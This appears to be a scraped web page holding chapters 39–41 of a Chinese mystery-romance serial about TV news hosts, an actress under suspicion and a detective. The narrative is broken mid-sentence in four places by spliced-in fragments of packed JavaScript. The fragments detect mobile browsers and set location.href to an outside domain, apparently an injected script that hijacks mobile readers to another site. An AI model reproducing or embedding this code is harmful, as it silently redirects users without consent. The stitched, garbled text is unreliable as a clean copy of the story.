如同烟花在脑海里爆炸,绚烂的火树银花与纷乱复杂的思绪翩翩起舞,仿佛有一万个观众同时在他的耳边说话。邵聿难以置信地抬起头,指了指自己,惊讶地半天没能说出话来。 赵主任用指背轻轻敲了敲办公桌,调侃道:“怎么,你不是一直身在曹营心在汉吗?别以为我不知道,自从五年前从新闻部转到我们综合部,你就没有一天不想回去的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15930180|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “主任,我……”邵聿心虚地错开视线。 “好了,我理解你,人各有志,你想做新闻主播,也有这个实力,我不会拦着你的。”赵主任真诚地看着他,“只不过这个主播的位置,还得你自己去争取。” “我该怎么做?”邵聿的眼神立刻变得犀利坚定,连台长都恍惚了片刻,以为回到了五年前与如今几乎完全相同的情形下。 台长双手环保在胸前,直直地盯着他的眼睛,“柏霆宇一案,你和李璟意同时去跟,我们会依据你们两人的表现,决定谁能够成为新闻主播。” “停。”江知渺眼疾手快地指向电脑屏幕,柯妙妙应声按下暂停键,监控画面中一辆黄色的出租车吸引了她们的注意力。 柯妙妙将画面放到最大,脸快要钻进屏幕里,看了许久才终于慢慢地念道:“AX9……27……5K。”她从笔记本上撕下一页抄下车牌号,抬手递给身旁的江知渺,“应该是这个。” “那人是坐出租车来君泽的?”江知渺将信将疑地盯着监控视频,“难道不怕我们顺着车辆信息和车载录音录像找到他吗?” 梁栖月松了一口气,“没准真凶就是疏忽了呢,哎呀别纠结这个了,快找到这辆出租车的司机,问问情况吧。” 话音刚落,柯妙妙和梁栖月的视线齐刷刷地投向江知渺,她愣了一下,不解地眨了眨眼睛,几秒后忽然从她们意味深长的神情中,读出了深意,“好吧,我问问周屹泽,但他愿不愿意帮这个忙,我也不确定。” 柯妙妙捂着嘴笑道:“那就拜托‘缪斯学姐’了哦!” “柯妙妙!”江知渺佯装要打她的样子,轻轻揉了揉她那头利落的短发,“都过去多少年了,你还玩这个烂梗?” “哪里烂了,我怎么没觉得。”柯妙妙双掌合十,抱在胸前,虔诚地眨了眨眼睛,“老天爷怎么就没让我遇到一个这——么可爱的学弟呢?” 江知渺白了她一眼,“友情提示:我们俩同届,都比他高两级,他也是你的学弟。” “那可不一样!”江知渺本来转身要去僻静处打电话,却被柯妙妙拦下来了,她揶揄道:“毕竟在校庆三十周年全网直播的时候隔着老远一连被人大声喊了十几声‘缪斯学姐’的人,可不是我~” 她说得飞快,说完就一溜烟跑出了江知渺家,等江知渺反应过来想要发作的时候,人早就跑没影了。 “我真是……”江知渺本想跟梁栖月说几句柯妙妙的“坏话”,没想到刚刚瞥到她,她也往门口退去,临走前还留下一句:“还不是你惯的。不打扰你跟学弟打电话了,拜拜!” 吵吵闹闹的房间里瞬间又回归了宁静,江知渺盯着自家一分钟内开关两次的房门,无奈地摇了摇头。 许久没有听到过“缪斯学姐”这个怪异混搭的称呼,江知渺有些猝不及防,学生时代的记忆山呼海啸般涌上脑海,她似乎又回到了在艺大上学时的生活,那时候她们三个人也是这样,吵吵闹闹,插科打诨,四年的时光如指缝间的流水,逝去得飞快。 “原来已经过去十年了啊……”今年是中央艺术大学成立四十周年,三十周年的校庆日还仿佛发生在昨天,一切都记忆犹新。 39. 缪斯 那年的校庆,艺大首次采取全网直播的形式,从早八点至晚二十四点,全方位展示校内生活,并安排了校广播站记者在校园里随机采访。 早上九点,刚刚完成台词课作业录制的江知渺从德艺楼走出来,恰巧碰到一个广播站的小记者,看起来是大一新生,她一手举着便携式直播设备,另一只手举着话筒,不由分说地就要开始采访。 校庆日安排在周末,早上九点,学校里几乎没有什么学生,那个记者见到她就如同抓住了救命稻草,把准备好的问题一个接一个地抛出来。 问题倒是非常友好,江知渺谈了谈在艺大学习生活的感受,简单给想要报考艺大的学弟学妹提几个建议,采访很快就要结束了。 就在她回答最后一个问题的时候,从身后很远的地方突然传来模糊的呼喊,她愣了愣,没有听清那人喊的是什么,只当是学校里的男生在打闹,于是继续回答问题。 然而那呼喊一声接着一声,一声比一声清晰,更有不断接近的趋势,就在喊到第八次的时候,声音清晰起来,江知渺听清了那人喊的是什么:缪斯学姐。 她的脸瞬间涨得通红,小记者也好奇地歪着头,用关切的眼神询问她。太过格格不入的四个字让她的心跳慌乱起来,只觉得脸颊滚烫,尴尬得不敢回头,生怕一回头就被全网的观众发现她认下了这个称呼。 她微不可察地摇了摇头,继续回答问题,但她刚说了几个字,那呼喊声就大到了无法忽视的程度,小记者出声打断了她,向旁边迈了一步,视线越过她的肩膀,朝她的身后看去。 那个呼喊的人这才看见,江知渺的面前还站着另一个人,刚喊出口的“缪”字顿时缩了回去,变了调的尾音听起来格外滑稽,江知渺艰难地转过身,早已恼羞成怒,在直播前却也只能鼓着嘴,无力地冲他摆了摆手。 也就是从那天起,在表演系13级的班里,不,是在整个艺大,开始流传一个浪漫的故事:一个叫做周屹泽的导演系大一新生,找到了他的缪斯。 “喂,知渺?”周屹泽的声音骤然出现在耳边,撕裂了回忆和现实的界限,江知渺打了个冷战,愈发清晰地感受到,尽管同属于一个人,然而耳边这个声音与当年那个喊她缪斯的声音,听起来却截然不同了。 “喂,阿泽。”江知渺顿了顿,许久不曾念起的称呼在舌尖陌生地滚过一圈,生硬地落在地上,她好像听见电话另一头倒吸了一口气。 关于周屹泽,在江知渺的记忆中,这个称呼才是第一印象。大二那年,她在表演系大楼门口的展板上,从层层叠叠的通知和公告中,发现了一张手写海报。淡蓝色的纸张上,用潇洒的艺术字体写着几个大字“诚寻微电影女主角,有意者请联系阿泽:139xxxxxxxx”。 她低头瞥了一眼手机邮箱里一连串失败的试镜结果,毫不犹豫地打开了拨号界面,按照海报上的号码拨了过去。 “喂,阿泽。”江知渺腹诽道:也不知道是哪个院系的文艺青年,起了个这个烂大街的文青名字。 “喂——”电话另一头的男声带着浓浓的倦意,厚重的鼻音让他听起来倒像是个乖巧的三好学生。 “那个,我看到你在招微电影演员……” 话音未落,对面猛地传来一阵噼里啪啦的杂音,有什么东西重重地砸在地上,发出沉重的闷响,随即响起一声痛苦的哀嚎:“哎呦!” 男生“嘶、嘶”地喊痛,勉强凑出一句完整的话来:“你好,我是14级导演系的,在找期末微电影作业的女主角,你愿意参演吗?” 江知渺愣了愣,“导演,不需要让我先试几个片段,看看是否合适吗?” 对面困惑地问了一句“啊?”,几秒之后骤然放大了音量,语速变得飞快,大脑仿佛跟不上嘴巴,甚至语无伦次起来,“你,你叫我什么?导演?啊,那个,试镜,是得试镜……导演,导演,嘿嘿……” 他叽里咕噜的一串自言自语把江知渺也听蒙了,得不到他肯定的话语,江知渺有些焦急地追问起来:“导演,那我们的试镜安排在什么时间和地点?” “咳咳。”这个叫做阿泽的男生被她叫醒,假意咳嗽了几声,严肃地说道:“是,需要确定试镜的时间和地点。” 江知渺静静地等了三十秒,漫长的沉默中依旧充斥着对面翻箱倒柜的动静,随着一阵哗啦哗啦翻阅纸张的杂音后,她终于等来了答复:“要不……就现在?” “啊?”这回江知渺彻底是一头雾水了。 “知渺,你找我是发生什么事了吗?”周屹泽关切的声音再一次打断了她的回忆,江知渺晃晃脑袋,重新聚精会神到那一串车牌号码上。 “我想请你帮个忙,帮我查一个车牌号码的车主。” “这个车主有什么问题吗?”周屹泽的声线比起十八岁时早已成熟了许多,无线电过滤掉最后一丝少年音,沉稳的低音炮震得她握紧了手机。 江知渺抿住嘴唇,一番犹豫后,还是选择编了个说辞,“我的车被人刮了一下,行车记录仪拍到是这辆车蹭的。” “这样啊……”周屹泽显然是有些为难,听筒里传来他指尖轻敲桌面的声音,“按照规定,我们不能因私调取公民隐私,知渺,我……” “没关系”,江知渺毫不在意地笑了笑,“是我唐突了,忘了你们规矩比较严格,打扰你了。” “车牌号,告诉我吧。” “啊?你不是说……” “我有别的办法。” 周屹泽胸有成竹的语气又将她拉回到大学时期,他们两人定好了微电影的拍摄场地,到了那里却发现摄影机莫名其妙地发生了故障,眼看高价拍摄地预定的时间一分一秒过去,周屹泽冷静地安慰她道:“别着急,我有别的办法。” 说完,他从背包里小心翼翼地捧出一台包裹得严严实实的磁带式摄像机,机身色彩已经黯淡,可却没有丝毫磨损的迹象,一看就是经过非常细心的保护。 周屹泽献宝似的举到她面前,兴奋地介绍道:“这是SonyHandycamCCD-V8,1985年产的,算得上老古董了!” 他熟练地检查机身并打开摄像机,把镜头怼到她面前,故意吓了她一跳,江知渺后退了一大步,“阿泽,你要用这个拍吗?” “对啊!”他放下摄像机,嘴角勾起一个温柔的弧度,“这是我爸最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944486|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝贵的物件,也是我妈送给他的第一件礼物,之后没过多久她就生病去世了。” 他的手指在机身轻轻摩挲,“三岁的时候,我爸把它送给我,其实我一直都想用这台摄像机拍一部自己的作品,这也算是我考进导演系的初衷吧。” 周屹泽笑着抬起头,将摄像机举到眼前,对准江知渺的脸庞,轻快地问道:“女主角,准备好了吗?我们要开机了。” “晨晨,准备好了吗?三——二——一——开始!” “好的,主持人,我现在在童心幼儿园,这里的操场上正在举行亲子运动会。园长说,参加运动会的有一百多人。让我们预祝李筱晨小朋友和她的爸爸杨灏、妈妈李璟意,能够取得第一名的好成绩!” 稚嫩的童声操着半生不熟的播音腔,神气地播完了这段“新闻”,杨灏放下手机,停止录制,视频最后停在女孩咯咯的笑声。 “妈妈!我说得好不好?”李筱晨扑到一旁李璟意的怀里,小大人儿似的问她。 “好啊,晨晨比妈妈说得还好!”李璟意在她肉嘟嘟的脸颊上捏了一下,“不过,真正的记者不能说最后那句话哦。” “为什么呀?”女孩委屈地皱起小脸,“可我就是想和爸爸妈妈一起拿第一名嘛。” 李璟意把她抱到沙发上,揉了揉她的短发,“因为记者不可以把自己的想法告诉别人哦,记者的想法可是个秘密——” 李筱晨立刻用两只手捂住自己的嘴巴,支支吾吾地小声说道:“秘、秘密……妈妈,我一定不会说出去的!” 李璟意和杨灏相视一笑,杨灏忍不住把一大一小都揽进自己的臂弯,“晨晨,妈妈是记者,所以秘密不能和别人说,你是爸爸妈妈的宝贝,如果有什么秘密,一定要告诉我们哦。” 静谧的时光被骤然响起的手机铃声打断,李璟意从沙发上站起身来,拿着手机到阳台去接听。很快,她就提着巨大的托特包,快步走到他们面前。 听到脚步声,李筱晨的小脸唰地耷拉了下来,还不等李璟意开口,她就蔫蔫地问道:“妈妈,你是不是又不能陪我去幼儿园了?” 李璟意顿时愣住了,她原本已经计划好了要陪女儿一起去参加运动会,出于以前多次出行失败的经验,她还特意安排好各项工作,可没想到,计划还是被打乱了。 刚刚的电话是伍旸打过来的,他语速飞快,像是有什么巨大发现,“意姐,你说如果我在VeilMansion的监控里发现什么都立刻告诉你——” 她有一种预感,这个发现一定是帮助她解开眼前重重谜团的关键,新闻人争分夺秒的基因让她不想再等了,她要立刻回电视台,去看看监控里究竟有什么秘密。 但女儿的童言无忌还是让她的心抽痛了一下,她求助般地望向杨灏,杨灏的眼神中也全然都是不知所措,李璟意不知道那其中还有没有对她的失望。 她很想做一个好妈妈,但也许这个愿望从筱晨出生的那一刻起,就注定无法实现了。无论怎样弥补,她都不敢直视女儿的眼睛。 一双什么也看不见的眼睛。 她在女儿和丈夫的脸颊上轻轻落下一个吻,落荒而逃。 40. 主角 周屹泽将手机通讯录从头翻到尾,找到一个在交通队的同事,拨通了电话,“喂,哥们,最近忙吗?” 今天是工作日,晚高峰刚刚结束,电话那头传来一个气喘吁吁的声音,“屹泽?好久不见啊!跟你们刑警队比起来,我们这都算不上忙。你最近怎么样,上个月同学聚会没见着你啊!” “害,我还是老样子,局里就是家里,上个月正好有个案子要结,就没去成,最近才稍微有点空闲,看你们什么时候有空,咱们出来喝点?” “行啊!等我闺女病好了,我叫上他们仨,咱还去那家老李烧烤。丫头最近得了流感,前几天高烧,今天早上刚退,天天挂水呢,这不,一会儿下班我就得去医院替孩他妈。” “哪家医院,严重不,用不用我帮你去照顾一下?” “没事,孩子生病这都常有的事儿。说起来咱兄弟四个,就你还没结婚了,怎么着,有计划了不?” 周屹泽嘴角的笑容落了几分,“你要这么说,那我更得再潇洒几年了。”他话锋一转,“哎,哥,你还在队里呢吗,有件事想让你帮个忙。” “行啊,说吧,什么忙?” “我那车今儿早上上班停路边了,现在想走,前边有辆车给我堵上了,车上也没留电话,我等半天都没瞅见车主,你要有空的话帮我查查车主电话呗。” “小事,没问题,把车牌号发给我吧,一会儿查完我微信发你。” “得嘞,谢了兄弟!” “跟我客气啥,下回喝酒别又找借口偷溜就行了。” 挂掉电话后没过多久,周屹泽就收到了他的微信消息,只是这查询的结果却让他有点意外。 「这车牌号你没打错吧?我在车管系统里怎么没查到啊?」 周屹泽打开江知渺和他的聊天框,再次核对了一遍,确认车牌号是对的,他不禁拧起了眉头,手指停在键盘上,犹豫了一分钟,改发了一条语音: “那可能是我看错了,没事,刚才车主回来把车开走了,谢了。” 关闭微信,周屹泽手指鬼使神差地伸向了社交平台,热搜第一经过一下午的信息爆炸,仍然挂着“爆”字,他轻轻点进去,那个身着一袭红裙的身影,如一团炽热的火焰,在屏幕上怦然炸开。 完整的行车记录仪画面,早在几个小时前他就看过无数遍了,他本来是要送已经洗脱嫌疑的江知渺离开,出租车发动前的最后一秒,马政阳从局里跑出来,将她拦了下来。 他和江知渺同时坐回审讯室,也是同时第一次观看那段监控视频。托汽车行业快速发展的福,行车记录仪画面分外清晰,比他多年刑警生涯接触过的绝大多数监控视频都清晰,也让他不费吹灰之力就认出了画面中那个仓皇逃跑的女人,正是此时坐在他对面的女人。 他不知道自己是以怎样复杂的表情望向她的,只知道当时她的脸色惨白,没有一丝血色,刚从安眠药作用的昏迷中苏醒过来,唇瓣本来就干燥苍白,在完整地看完这段视频后,又增添了些许细微的颤抖,如秋风扫过花萼上的最后一片枯萎的花瓣,飘然陨落。 接下来的讯问过程中,周屹泽一言未发,他的大脑陷入了短暂停摆,目光一遍又一遍地接收着她慌乱的身影,思绪却像上了锁的保险箱,拒绝哪怕一丁点儿蛛丝马迹混入其中。 听着江知渺全程决然的否定,周屹泽的心底只剩下一个问题:知渺,我该如何看待你? 在今天之前,他从未对面前这张惊艳的脸庞产生过陌生感,哪怕他们已经足足九年未曾相见,毫无音讯,分别的天数是相聚的十几倍,但江知渺在他心底的样子,从她第一次试镜自己的微电影之日起,就从未改变过。 无论是跑龙套、演尸体,还是老戏骨身边抢眼到不可忽视的配角,抑或是各种大制作里当之无愧的女主角,周屹泽隔着屏幕都能从她的双眸中,穿越层层妆造,看到那颗赤诚的心,倔强地跳动着。 “江知渺,我最后问你一遍,你为什么要逃跑?你当时在回头看什么?” 马政阳猛地一拍桌子,震得周屹泽面前的笔记本都跳动一下,他用黑色签字笔在空白页点下一个冒号,便听到江知渺冷声回答道:“无可奉告。” 他划掉了冒号,改为重重地画下一个句号,笔尖沉重地停留在纸面上,浓厚的墨迹瞬间晕染开来,恍若洁白的冰天雪地中绽放的一朵梅花。 就像大一下学期期末的微电影作业,他一笔一划写下的剧本,最后一个句号落笔时,笔珠悄然滑落,也留下这样一片污渍。 「好久不见●」 周屹泽扯过一张纸巾擦拭那个明显的墨迹,举到半空中仔仔细细地正反看了几遍,发现那个不规则的圆形黑点还是非常突兀。 他懊恼地甩掉手中的签字笔,视线下意识落到桌面地日历上:六月十五日。 他后知后觉地意识到,自己已经没有时间将这一页再誊抄一遍了。微电影期末作业最后的上交期限是六月三十号,他要在十五天内找到女主角,拍摄并剪辑出一部二十分钟的微电影,这对才上大一的周屹泽来说难于登天。 他果断在W城校友群里发布了招募信息:“青春情感类微电影诚邀女主角,要求如下:身高一米六五,体型偏瘦,掌握一定的表演专业技巧,拥有较强的情绪掌控能力。” 消息发出后却并没有如他想象中那样得到积极的反响,W城拥有全国最大的影视基地,多年来承接了许多大型文艺演出和活动,加之独具特色的细腻气候和悠远深厚的历史文化,因此出过不少文艺工作者,演艺圈里各个岗位上都少不了W城人的身影。 周屹泽等了两天,发消息来询问的人却寥寥无几,大多数人一听到他只是个导演系的学生,又有这么紧张的拍摄日程,就都知难而退了。 “要不你去表演系贴个广告试试?”还是室友的一句话提醒了他,周屹泽急忙从书店淘来一张符合自己剧情风格的淡蓝色海报纸,言简意赅地写下招募要求,注上了联系方式。 果然,海报张贴出去之后,联系他的人变多了,都是和他一样挣扎在学业、学工、实习之中的苦逼学生,他前前后后见了八个女生,拿出剧本最后一幕的那个回眸,让她们尝试表演。 每个女生都上过专业的表演课,对于剧本也有着自己的专业理解,坦白来说她们的表演都是合格的,可哪一个都不能让他下定决心,他总觉得有些说不清道不明的缺憾。 江知渺的电话打过来时,他刚给第八位试镜的女生发完拒信,看了一眼越来越近的ddl,干脆随手把日历甩到地上,自暴自弃地蒙住被子呼呼大睡。 周屹泽正梦到自己没交上微电影作业,被艺大退学,连人带铺盖丢出学校大门,突然,眼前出现了一个身穿白色棉布裙的女孩,看不清脸,只知道个子瘦瘦高高,风一吹就能被吹跑了似的。 他怕女孩真的被风吹跑,于是从地上爬起来,抓住她的手腕。女孩悄然回眸,“导演”,她突然开口说话了。 这个梦幻般的称呼像是从他的天灵盖上电了一下,周屹泽瞬间全身麻痹,耳畔唯独萦绕着她的声音。 自小长在有着“艺术之都”美名的W城,家又住在全国最大的影视基地旁边,周屹泽的导演梦,自有记忆以来便早早地种下了。 他渴望做那个用灵感搭建起来的虚拟世界中最高的指挥家,导演,一个无比遥远的职业。 这是第一次,有人用“导演”二字来称呼他。 周屹泽这才意识到自己不是在做梦,这平平无奇的两个汉字从电话那头的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959184|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生口中吐出后,有了某种造物主般的魔力,赐予他梦寐以求的夙愿得偿,立刻获得点石成金的神奇能力,与受人景仰的无限光环。 他迫不及待想要看一看这个让他梦想成真的女孩到底是个怎样的人,他一刻也不想等了,就是立刻、马上、下一秒,瞬间移动,时空穿梭,周屹泽想要立刻出现在她面前。 而她也确实出现了,乖巧的黑长直顺着肩背滑下来,穿着和方才梦境中一样的白色棉布裙,飘逸的不规则裙摆在细瘦的脚腕处飘扬,于炎炎夏日掀起白色浪花。 她分明背对着他站在树荫下,却连背影都充满着故事感,宛若一株清新的茉莉花。隐约能够看到她手中拿着一本书,无论身边何人经过,如何说说笑笑,她都无动于衷,只是规律地翻过一页又一页。 「INT.机场-日 自动门缓缓打开,明亮的日光下,阿铭(25岁,穿运动服)快步穿过人潮,到达D16登机口。 大屏幕上的字符一跳,广播开始播放 “去往阿姆斯特丹的旅客请注意,您乘坐的HN7531号航班开始登机了。” 阿铭顾不上擦掉额头的汗珠,立刻开始顺着休息区的椅子一排排寻找。休息区的乘客陆续起身登机,面对空荡荡的座椅,阿铭最后扫了一眼不断逼近的起飞时间,绝望地闭上了双眼。 “阿铭。” 轻盈文静的声音如呓语般骤然出现在耳畔,阿铭猛地睁开双眼,队尾那个娇小的女孩,正朝他挥动登机牌。 他想好了,在来机场的路上就想好了:只要在这里见到她,他就要飞奔到她的身边,紧紧地拥抱住她,对她说出: (V.O.)“我爱你,能不能别走了?” 他也是这样做的,他飞奔到诗祺身边,张开双臂,将她揽入怀中,下巴轻轻地搭在她的头顶。 忽然,从旁边走来一个身材高大的成熟男人(30岁,高档西装),带着独属于成熟男性的自在微笑,向他礼貌颔首。 “您好,请问您是诗祺的朋友吗?” 阿铭愣住了,他不知道自己该不该继续说下去,该不该松开怀抱,该不该拉开距离,还好,诗祺自然地退了一小步,退出了他热情的拥抱。 她看向那个成熟的男人,笑得格外幸福,连阿铭自己都要被那幸福感染了,也跟着微笑起来。 “阿铭,这位是我男朋友。”她甜蜜地挽着男人的手臂。 男人也同样宠溺地看着她,“男朋友?” 诗祺的脸颊挂起一层绯红,娇嗔地瞟了他一眼,“未,未婚夫……” 阿铭似乎听到自己的嘴巴在说什么“百年好合”、“非常般配”、“长长久久”之类的漂亮话,同时也听到自己的心底在诉说着截然不同的字句。 (V.O.) 他听到自己说:诗祺,这是我们五年来第一次见面,五年前我们不欢而散,我没有想到五年后再次相遇,你还能叫出我的名字。 他听到自己说:诗祺,我以为你是挂念我所以才叫住我,我以为你和我一样对五年前的误会耿耿于怀,原来并非如此,你只是过得非常幸福,幸福到可以原谅这个世界上的一切人和事,也包括那个不懂事的我。 他听到自己说:诗祺,其实,在所有想对你说的话语里,我最想说的还是“好久不见”。 他把那些心里话全都咽了下去,目送着他们两人手挽手登上飞机,消失在视线中,却在泪光中错过了诗祺的最后一次回眸,也没能从那对泛红的眼圈中,读出她想说的话: (V.O.) 好久不见●」 踩在十八岁尾巴上的艺大导演系大一新生周屹泽,向树下那个亭亭玉立的身影喊道:“学姐——” 她应声回眸。 41. 线索 刘恪辰打了个大大的哈欠,从中午十二点到晚上十二点,他已经盯着VeilMansion的监控视频看了足足十二小时。邵聿从医院回到电视台后,拉着他直接就进了剪辑室,晚饭也没放他去食堂吃, 他看到了网上流出的那段江知渺匆忙逃跑的视频,也试探性地问过邵聿,想要从向监控里找出什么,但邵聿只是轻飘飘地回他一句“不知道,一切可疑的人你都要留意”。 结果就是他看得眼睛都快瞎了,也什么都没发现。 他伸手去够桌上的咖啡杯,早已空空如也,又几次三番制造点小动静和噪音,企图提醒自己这位快要一头钻进屏幕的领导注意时间,可转念又一想,目前这情形与自己没能从伍旸口中套出话来多少有点关系,所以还是乖乖地靠回椅子里,揉了把脸,继续盯紧视频中的每个角落。 “停一下。” 邵聿忽然开口,打破了深夜的宁静,刘恪辰迅速按下暂停键,等着他的下一个命令,“往前倒一点。”他应声操作键盘,将画面一帧一帧地往回退。 当画面正中央的雕塑旁,一个中等身材的男人面孔逐渐清晰起来时,刘恪辰一眼认出他来,惊讶地说道:“冯教授?” 邵聿站起来凑近屏幕,他眉头紧锁,直接接管了键盘和鼠标,反复拖动进度条,仔仔细细地将冯炳出现前后的视频都审视了一遍。 “聿哥,冯教授去VeilMansion干什么?他不是在D市的一所大学做教授的吗?”刘恪辰从抽屉里翻出《钩沉》的嘉宾名册,再次确认了一遍冯炳所在的学校。 “我跟他聊过这个话题,今年年初,他被艺大邀请为客座教授,平时都住在A市,节假日才会回D市。”邵聿指了指电脑屏幕,“你把他出现的这一段截下来,看看其他点位的监控有没有拍到过。” “啊?”刘恪辰困惑起来:既然冯教授平日里常住A市,那么他无论是去VeilMansion吃饭还是娱乐,又有什么不对的呢? 他将心里的疑惑脱口而出:“聿哥,我们要调查冯教授吗?我还以为是要查嫂……” 完了!刘恪辰心底一坠,意识到自己说错了话,赶紧用双手紧紧地捂住嘴巴,可还是收获了邵聿的眼刀。 “对不起聿哥!我可能是太困了脑子不清醒!我错了!” 他心虚地找补了几句,头已经快要低得贴到键盘上去了,可许久都没有等来邵聿的答复。他急忙抬起头,却发现邵聿不知什么时候已经悄然离开了剪辑室。 完了完了,聿哥不会是被我气走了吧…… 然而没纠结多会儿,邵聿就推门回来了,看着他那抓成鸟窝的爆炸头,无奈地叹了口气,在他面前放下一罐咖啡,“辛苦了,今晚估计要熬个通宵。” 刘恪辰还没来得及悲痛,就听他解释道:“新闻部那边上周就拿到了这份监控视频,中午我回来的时候看到李璟意正带着伍旸在剪辑室讨论,我只听见他们提到‘VeilMansion’,我猜他们也发现这监控里面有问题,我们今天晚上把监控过一遍,看看李璟意到底在查什么。” 一听是跟李璟意那边争分夺秒,刘恪辰比邵聿还打鸡血。他已经听说了,台长准备在他们两人之间考察,最后选择一人做黄金时段的新闻。 他也曾无数次见识过,邵聿面带忧郁地站在新闻直播间的玻璃墙外,望眼欲穿,自然知道做新闻主播始终是邵聿最大的梦想。 既然如今有了一个天大的好机会,那怎么能错过呢?自从台里传开了这个消息,刘恪辰就一直思考着怎么能帮邵聿一把。 毕竟从大四来台里实习、再到正式入职成为主持人,邵聿对他可以说是毫无保留。同年进台的主持人里,唯独他有过出镜的机会,尽管邵聿从没跟他提过,可他也知道那一定是他帮忙争取的机会。 “聿哥。”刘恪辰突如其来的播音腔吓了邵聿一跳,他诧异地盯着这个年轻的新人,还以为他是对自己这个熬夜调查的提议有意见,没想到却在他的眼眸中看到了熊熊燃烧的火焰。 他心里纳闷道:怎么突然就燃起来了? “你放心,我一定会帮你坐上六点档新闻主播的位置!” 刘恪辰发表完雄心壮志,满眼期待地望着邵聿,还举起右掌,等待着对方与自己击掌。足足过了有十几秒,明显的憋笑失败过后,邵聿才噗地一声笑了出来,语重心长地拍了拍他的肩膀,“行,谢谢你,好好干活吧——” 说完,他又漏出了几声明显在隐忍笑意的气声,惹得刘恪辰懊恼起来:我一个小实习主持,有什么能力和立场去说帮别人做新闻主播啊! 他干脆一头扎进电脑屏幕,继续看监控。身旁,邵聿的笑声也很快平息了,刘恪辰以为自己尴尬的蠢话终于被遗忘了,却听邵聿充满磁性的声音低低响起,“其实,台长通知我之后,我从来没有想过一定要坐上那个位置。” 刘恪辰震惊地扭过头,脚尖一蹬,连人带椅子滑到邵聿身边,抓着他办公椅的扶手急切地说道:“为什么啊?聿哥,你的播音主持功底台里和观众都有目共睹,你不去播黄金档,那还有谁能去播?” 邵聿沉默着点开一个新的文件夹,监控视频的时间已经推进到柏霆宇死亡后的第五天,他的目光始终没有离开屏幕,只是提了一口气,重重地按下空格键开始播放。 他在笔记本上记录下冯炳出现的时间以及监控器编号,郑重地抬起头,意味深长地盯着刘恪辰的双眼。 “因为有些代价,一生只能付得起一次。” 他的声音如教科书般,生发于丹田,运用有力浑厚的气息,带动声带震颤,每一个字都饱满得像是满月,低沉的尾音在狭小的剪辑室里回荡,撬动深夜死寂的空气,掀起一阵若有似无的寂寥微风,恍惚中,刘恪辰以为自己置身于空旷的天台上,一个人聆听着晚风。 他不知道是不是出现了幻觉,总感觉自己那一瞬间从邵聿的神情里读出了不可忽视的孤寂,像是苦行僧只身前往西天,独自修行数十年,却在看到洞窟岩壁上前人留下的生动壁画时,第一次觉察到内心无尽的孤独。 他下意识想要去安慰几句,可还没等他反应过来,邵聿就已经转头继续查看监控视频,仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967448|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛刚刚的一切都是错觉。 “你看,八月十六号、十七号、二十号,冯炳都来过VeilMansion,而且去的都是42层的房间。”邵聿将笔记本递给他,上面简单地勾勒着VeilMansion停车场、大厅以及营业层的结构图,并标注出了每一个拍到过冯炳的监控器位置。 “一周就来了三次?”刘恪辰对照着42层电梯口的监控视频,用铅笔勾画他出电梯后的行动轨迹,“虽然走廊里没有监控点位,不能确定他进入哪个房间,不过看方向,应该每次去的都是同一个房间……” 刘恪辰一拍大腿,“不对啊!我记得他和他爱人是青梅竹马,他们夫妻关系不是非常好吗?” “谁跟你说他是来见别的女人的?”邵聿拿回笔记本,皱紧了眉头。 “……我猜的。”刘恪辰灰溜溜地坐了回去,调出42层的监控视频反复查看。 忽然,他“砰”地从椅子上跳了起来,“聿哥!我找到了!” “什么?” “你看——”刘恪辰一连打开了十六号、十七号、二十号三天的视频,将进度条拖到相似的位置,同时开始播放。视频中,冯炳悠然迈出电梯门,向走廊尽头走去,逐渐消失在画面边缘。 “有什么问题吗?”邵聿双手抱在身前,死死地盯着那三个完全相同的背影。 “等一下……对!就是这里!”刘恪辰将视频暂停了两秒,继续播放,解释道:“这三天,每次冯教授消失在监控里后,再过大约十五分钟,都能看到画面稍稍暗了一下……” “42层走廊尽头有窗户?”邵聿立刻明白了他的意思。 “有,《钩沉》收官之前,我们去VeilMansion踩点,他们经理告诉过我们,四十层往上每一个偶数层都有一个空中花园,可以从走廊西侧尽头直接进去。” 